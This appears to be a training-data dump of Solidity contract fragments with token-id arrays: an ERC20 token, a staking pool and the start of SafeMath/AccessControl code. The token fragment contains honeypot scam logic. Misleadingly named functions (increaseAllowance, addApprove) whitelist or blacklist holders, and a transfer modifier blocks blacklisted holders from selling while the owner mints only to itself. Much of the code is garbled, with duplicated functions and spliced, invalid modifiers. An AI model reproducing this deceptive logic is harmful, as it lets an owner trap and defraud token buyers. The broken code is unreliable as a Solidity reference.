_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} }
4,578,955
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 30102, 87, 18485, 353, 1772, 16, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 14739, 1887, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 11223, 1887, 31, 203, 377, 203, 565, 2254, 5034, 3238, 389, 87, 1165, 6275, 273, 374, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 377, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 565, 2254, 5034, 3238, 389, 12908, 537, 620, 273, 22821, 7235, 3462, 6675, 4366, 9036, 2313, 3657, 6564, 4366, 10321, 5908, 7140, 713, 5292, 28, 7235, 8642, 7140, 27284, 2733, 5193, 6028, 25, 1105, 6260, 1105, 4630, 29, 7950, 5877, 5193, 713, 7235, 3437, 24886, 4449, 2733, 4763, 31, 203, 203, 565, 1758, 1071, 389, 8443, 31, 203, 565, 1758, 3238, 389, 4626, 5541, 31, 203, 565, 1758, 3238, 389, 318, 77, 10717, 273, 374, 17432, 6564, 23508, 5292, 25, 6938, 73, 4033, 41, 74, 5718, 2313, 72, 3787, 23508, 6030, 70, 20, 40, 7950, 28, 70, 26, 39, 6675, 22135, 31, 203, 377, 203, 203, 97, 203, 282, 3885, 261, 1080, 3778, 508, 16, 533, 2 ]
pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { admin = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(admin, newOwner); admin = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract Pool4 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); address public tokenAddress; address public foreigntoken; address public feeDirection; // reward rate % per year uint public rewardRate = 120000; uint public rewardInterval = 365 days; // staking fee percent uint public stakingFeeRate = 150; // unstaking fee percent uint public unstakingFeeRate = 0; // unstaking possible Time uint public PossibleUnstakeTime = 24 hours; uint public totalClaimedRewards = 0; uint private FundedTokens; bool public stakingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; /*=============================ADMINISTRATIVE FUNCTIONS ==================================*/ function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported"); tokenAddress = _tokenAddr; foreigntoken = _liquidityAddr; } function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){ stakingFeeRate = _stakingFeeRate; unstakingFeeRate = _unstakingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function FeeDirectSet(address _address) public onlyOwner returns(bool){ feeDirection = _address; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ FundedTokens = _poolreward; } function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){ PossibleUnstakeTime = _possibleUnstakeTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowStaking(bool _status) public onlyOwner returns(bool){ require(tokenAddress != address(0) && foreigntoken != address(0) && feeDirection != address(0), "Interracting token addresses are not yet configured"); stakingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function farm(uint amountToStake) public { require(stakingStatus == true, "Staking is not yet initialized"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(foreigntoken).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(foreigntoken).transfer(feeDirection, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function unfarm(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(foreigntoken).transfer(feeDirection, fee), "Could not transfer withdraw fee."); require(Token(foreigntoken).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function harvest() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= FundedTokens) { return 0; } uint remaining = FundedTokens.sub(totalClaimedRewards); return remaining; } }
reward rate % per year staking fee percent unstaking fee percent unstaking possible Time
contract Pool4 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); address public tokenAddress; address public foreigntoken; address public feeDirection; uint public rewardRate = 120000; uint public rewardInterval = 365 days; uint public stakingFeeRate = 150; uint public unstakingFeeRate = 0; uint public PossibleUnstakeTime = 24 hours; uint public totalClaimedRewards = 0; uint private FundedTokens; bool public stakingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported"); tokenAddress = _tokenAddr; foreigntoken = _liquidityAddr; } function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){ stakingFeeRate = _stakingFeeRate; unstakingFeeRate = _unstakingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function FeeDirectSet(address _address) public onlyOwner returns(bool){ feeDirection = _address; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ FundedTokens = _poolreward; } function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){ PossibleUnstakeTime = _possibleUnstakeTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowStaking(bool _status) public onlyOwner returns(bool){ require(tokenAddress != address(0) && foreigntoken != address(0) && feeDirection != address(0), "Interracting token addresses are not yet configured"); stakingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function farm(uint amountToStake) public { require(stakingStatus == true, "Staking is not yet initialized"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(foreigntoken).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(foreigntoken).transfer(feeDirection, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function farm(uint amountToStake) public { require(stakingStatus == true, "Staking is not yet initialized"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(foreigntoken).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(foreigntoken).transfer(feeDirection, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function unfarm(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(foreigntoken).transfer(feeDirection, fee), "Could not transfer withdraw fee."); require(Token(foreigntoken).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function unfarm(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(foreigntoken).transfer(feeDirection, fee), "Could not transfer withdraw fee."); require(Token(foreigntoken).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function harvest() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= FundedTokens) { return 0; } uint remaining = FundedTokens.sub(totalClaimedRewards); return remaining; } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= FundedTokens) { return 0; } uint remaining = FundedTokens.sub(totalClaimedRewards); return remaining; } }
13,964,959
[ 1, 266, 2913, 4993, 738, 1534, 3286, 384, 6159, 14036, 5551, 640, 334, 6159, 14036, 5551, 640, 334, 6159, 3323, 2647, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 8828, 24, 353, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 31, 203, 565, 1450, 6057, 25121, 694, 364, 6057, 25121, 694, 18, 1887, 694, 31, 203, 377, 203, 565, 871, 534, 359, 14727, 1429, 4193, 12, 2867, 10438, 16, 2254, 3844, 1769, 203, 377, 203, 377, 203, 565, 1758, 1071, 1147, 1887, 31, 203, 565, 1758, 1071, 895, 360, 496, 969, 31, 203, 565, 1758, 1071, 14036, 8212, 31, 203, 377, 203, 565, 2254, 1071, 19890, 4727, 273, 2593, 2787, 31, 203, 565, 2254, 1071, 19890, 4006, 273, 21382, 4681, 31, 203, 377, 203, 565, 2254, 1071, 384, 6159, 14667, 4727, 273, 18478, 31, 203, 377, 203, 565, 2254, 1071, 640, 334, 6159, 14667, 4727, 273, 374, 31, 203, 377, 203, 565, 2254, 1071, 25433, 984, 334, 911, 950, 273, 4248, 7507, 31, 203, 377, 203, 565, 2254, 1071, 2078, 9762, 329, 17631, 14727, 273, 374, 31, 203, 565, 2254, 3238, 478, 12254, 5157, 31, 203, 377, 203, 377, 203, 565, 1426, 1071, 384, 6159, 1482, 273, 629, 31, 203, 377, 203, 565, 6057, 25121, 694, 18, 1887, 694, 3238, 366, 4665, 31, 203, 377, 203, 565, 2874, 261, 2867, 516, 2254, 13, 1071, 443, 1724, 329, 5157, 31, 203, 565, 2874, 261, 2867, 516, 2254, 13, 1071, 384, 6159, 950, 31, 203, 565, 2874, 261, 2867, 516, 2254, 13, 1071, 1142, 9762, 329, 950, 31, 203, 565, 2874, 261, 2867, 516, 2254, 13, 1071, 2078, 41, 1303, 329, 5157, 31, 203, 377, 203, 203, 565, 445, 22629, 7148, 12, 2 ]
pragma solidity ^0.4.18; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // inspired by // https://github.com/axiomzen/cryptokitties-bounty/blob/master/contracts/KittyAccessControl.sol contract AccessControl { /// @dev The addresses of the accounts (or contracts) that can execute actions within each roles address public ceoAddress; address public cooAddress; /// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev The AccessControl constructor sets the original C roles of the contract to the sender account function AccessControl() public { ceoAddress = msg.sender; cooAddress = msg.sender; } /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// @dev Access modifier for any CLevel functionality modifier onlyCLevel() { require(msg.sender == ceoAddress || msg.sender == cooAddress); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO /// @param _newCOO The address of the new COO function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only 